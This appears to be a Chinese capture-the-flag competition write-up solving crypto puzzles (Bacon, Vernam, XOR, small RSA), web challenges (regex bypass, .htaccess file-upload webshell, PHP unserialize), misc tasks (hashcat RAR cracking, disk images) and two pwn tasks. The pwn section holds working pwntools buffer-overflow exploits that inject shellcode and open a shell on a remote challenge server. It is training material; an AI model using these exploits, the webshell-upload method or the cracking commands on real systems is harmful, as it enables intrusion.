0x00 Crypto
1)你爱吃培根吗
题目是个txt文件,内容如下
BeLieVe noT aLl ThAT yOU SEE NoR HALF WHAt YOu heAR beLi. HINT:注意大小写!为什么有大写有小写呢? 得到的flag直接小写包flag{}即可。
大写字母为A,小写字母为B,转换如下:
ABABBABBBABABABAABAAAAAABAAAAAAAABAABBBAABBAB
在线网站解密:http://ctf.ssleye.com/baconian.html

得到flag
2)费纳姆
题目为txt文件,内容如下
cipher:000001100010110001111001110000001110000111000111100101100001001 key:BEAUTIFUL 得到的内容大写直接包flag{}即可。
将key转换成二进制,然后简单的异或,脚本如下
c = ['0000011', '0001011', '0001111', '0011100', '0000111', '0000111', '0001111', '0010110', '0001001' ]
k = ['01000010', '01000101', '01000001', '01010101', '01010100', '01001001', '01000110', '01010101', '01001100']
flag = ''
for i in range(9):
a = chr(int(c[i],2) ^ int(k[i],2))
print(a)
flag += a
print(flag)

得到flag
3)异或
题目为txt文件,内容如下
crypt_text = 'VYWVYVU_U' key = 'SYS' plain_text = ??? 1)得到的结果进行MD5加密提交 2)得到的结果对AES一题有所帮助
密文与key循环异或,脚本如下
crypt_text = 'VYWVYVU_U'
key = 'SYSSYSSYS'
flag = ''
for i in range(9):
a = ord(crypt_text[i]) ^ ord(key[i])
flag += str(a)
print(flag)

4)RSA
题目给出加密脚本和密文
加密脚本:
flag = open('flag.txt','r').read()
N = 221
e = 5
enc = b''
for i in flag:
enc += bytes([pow(ord(i),e,N)])
encrypt = open('encrypt','wb')
encrypt.write(enc)
encrypt.close()
先去分解N,得到p,q

根据p,q求出s=(p-1)*(q-1)
然后计算出d,再解密文
脚本如下:
import gmpy2
enc = open('encrypt','rb').read()
N = 221
e = 5
p = 13
q = 17
s = (p-1)*(q-1)
d = gmpy2.invert(e, s)
flag = ''
for i in enc:
m = pow(i,d,N)
flag += chr(m)
print(flag)

0x01 Web
1)绕过
题目如下

先匹配php,然后过滤php
不过第一个正则匹配/im是多行匹配,我们直接在前面加个%0a就可以了

2)$$
题目如下

感觉这题有问题,过滤了一堆没用的东西,不知道要考啥
poc:
?c=flag

3)这是文件上传呢
文件上传的题

先看源码

没有过滤.htaccess,那么先上传.htaccess文件
SetHandler application/x-httpd-php

上传成功
再上传个图片马

用蚁剑连接

成功连接,用虚拟终端查看flag文件

无法执行命令
利用蚁剑重新上传一句话木马,并删除.htaccess文件
利用蚁剑插件



成功上传了代理脚本
连接代理脚本

可以访问所有目录,直接查看flag

4)unserialize

思路很清晰
先把$a序列化,然后base64编码即可
<?php
echo serialize("welcome!!!")
?>

s:10:"welcome!!!";
base64编码
czoxMDoid2VsY29tZSEhISI7
poc:
?b=czoxMDoid2VsY29tZSEhISI7

0x02 Misc
1)炸药包
解压缩,得到一个压缩包和一个隐藏图片
压缩包提示密码为????504,因此利用掩码爆破
$ rar2john 504.rar
$ hashcat -a 3 -m 13000 --force "\$rar5\$16\$85133349fb9969ad18f5dd704a8fdc09\$15\$8983ccc15fef0e2f5a2d1ceec29dd156\$8\$0156ae3eccefed89" "?d?d?d?d504" -o out.txt



解得密码1024504
用密码解开压缩包,得到一个加密的docx文件
扫描之前隐藏图片那个二维码,得到2021504
用密码解开docx文件得到flag
2)镜像
题目给出三个E01文件
用挂盘工具将镜像挂载,然后使用R-studio会自动组raid阵列
打开磁盘中的test.txt即可得到flag
0x03 Reverse
1)use_jadx_open_it.apk
下载好apk,直接用jeb打开就能看到flag

0x04 Pwn
1)pwn1
先看main函数

read读取50字节到buf,然后拷贝buf内容到b,gets存在溢出。
查看b变量

b变量在bss段,那么思路就很清楚了
read处输入shellcode,然后gets处溢出到b即可
exp如下:
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']
#r = process('./pwn')
r = remote('47.105.176.181',28019)
padding = 120
shell_addr = 0x06010C0
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
payload = 'a' * padding
payload += p64(shell_addr)
r.sendlineafter('this?',payload)
r.interactive()
2)pwn2
分析main函数

gets处存在溢出,变量为v4,printf帮我们把v4的地址打印了出来
解题思路就是接收v4的地址,然后在gets处输入payload溢出到v4
exp:
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']
#r = process('./pwn2')
r = remote('47.105.176.181',28000)
if args.G:
gdb.attach(r)
buf_addr = r.recvline()
a = int(buf_addr[:-1],16)
print hex(a)
padding = 120
shellcode = asm(shellcraft.sh())
payload = shellcode
payload = payload.ljust(120,'a')
payload += p64(a)
r.sendline(payload)
r.interactive()